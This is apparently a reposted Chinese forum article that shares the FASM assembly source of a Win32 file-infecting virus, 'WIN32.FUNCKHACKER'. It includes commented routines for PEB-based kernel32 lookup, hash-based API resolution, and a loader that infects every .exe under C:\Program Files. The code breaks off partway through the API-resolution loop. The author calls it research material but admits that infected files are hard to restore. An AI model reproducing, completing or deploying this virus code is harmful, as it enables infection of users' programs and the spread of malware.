| 关键词: nbsp eax 宿主 代码 ebp 病毒 函数 edx ebx 过程 |
xxfish 首先以一段Demo 病毒代码来开端。下面以文章的形式来剖析感染过程。希望结交更多的Virus研究的看官。 o(∩_∩)o... 复制内容到剪贴板 代码:;============================================================================;; WIN32.FUNCKHACKER - WRITTEN BY XFISH; (c)2009-03;;============================================================================;; DESCRIPCION; ===========; ; 病毒代码采用PEB获得kernel32基地址,然后通过hash搜索填充api函数(这里Thanks ... coban2k,Anskya), 病毒整体可;移植到任何的宿主中,这也就是和网络上目前那些通过静态注入(感染)部分shellcode的区别... 此病毒代码没有加入病毒更多的;技术,例如epo, 多态等。但是代码我认为却是比较精炼,尤其是Get_Apis过程,填充api方便 快捷 o(∩_∩)o...;; 此病毒代码仅仅是为了作为技术研究而使用,所以我限制了传播,在程序中,我做了仅是Loader调用 -;感染过程,感染过程我仅仅感染Program Files目录的所有exe文件程序代码在宿主中仅仅调用消息框提示给用户.....虽然说;限制了传播,但是感染后要恢复的话,也不是很容易,所以谨慎使用.....;============================================================================== format PE GUI 4.0 include 'win32ax.inc' entry Virus_Entry .text ;-------------------------- Virus_Flag equ 'FISH' ;-------------------------- Virus_Entry: pushad pushfd call DelsDels: pop ebp sub ebp, Dels ;------------------------- ;填充Api函数地址 ;------------------------- call GetKrnl32 lea edi, [ebp + dwFuncs] call Get_Apis @pushsz 'user32' call [ebp + _LoadLibraryA] call Get_Apis ;-------------------------------- ;为了没有危害性,程序判断了在宿主中 ;不开启感染函数,这样也就无法通过宿主 ;来进行传播,宿主仅调用提提示函数 感染 ;仅在Loader中开启.... o(∩_∩)o... ;------------------------------- mov eax, [fs:30h] mov eax, [eax+08h] cmp dword [eax+2], Virus_Flag jne .Loader ;----------------------------------- ;消息框警告用户已经中毒 ;---------------------------------- sub edx, edx push 30h lea eax, [ebp + szTitle] push eax lea eax, [ebp + szText] push eax push edx call [ebp + _MessageBoxA] ;--------------------------------------- popfd add esp, 4*8 lea eax, [ebp + Jmp_Host] jmp eax .Loader: ;------------------------- ;Loader 感染过程 ;------------------------- mov edx, ebp push '.exe' @pushsz 'C:\Program Files' call Inject_Disk popfd popad ret ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( ;---------------------------------------------; 获得kernel32基地址; input: nothing;---------------------------------------------GetKrnl32: mov eax, [fs:30h] irp offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]} ret ;---------------------------------------------------;获取并填充api函数地址;input : eax = Krnl32Base , edi = HashFuncAddress;thanks coban2k,Anskya;---------------------------------------------------Get_Apis: pushad xchg eax, ebx mov eax, [ebx+03ch] mov esi, [eax+ebx+78h] ; Get Export Rva lea esi, [esi+ebx+18h] ; get Export NumberOfFunctions cld lodsd ; NumberOfFunctions xchg eax, ecx lodsd ; AddressOfFunctions push eax lodsd ; AddressOfNames add eax, ebx xchg eax, edx lodsd ; AddressOfNameOrdinals add eax, ebx xchg eax, ebp xchg edx, esi .Next_Func: lodsd add eax, ebx xor edx, edx .Calc_Hash: rol edx, 3 xor dl, byte [eax] inc eax cmp byte [eax], 0 jnz .Calc_Hash push edi .Scan_dw_Funcs: cmp [edi], edx jnz .Skip_Function movzx eax, word [ebp] shl eax, 2 add eax, [esp+4] mov eax, [eax+ebx] add eax, ebx scasd stosd .Skip_Function: scasd add edi, 4 sub eax, eax cmp dword [edi], eax jne .Scan_dw_Funcs pop edi add ebp, 2 loop .Next_Fu |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|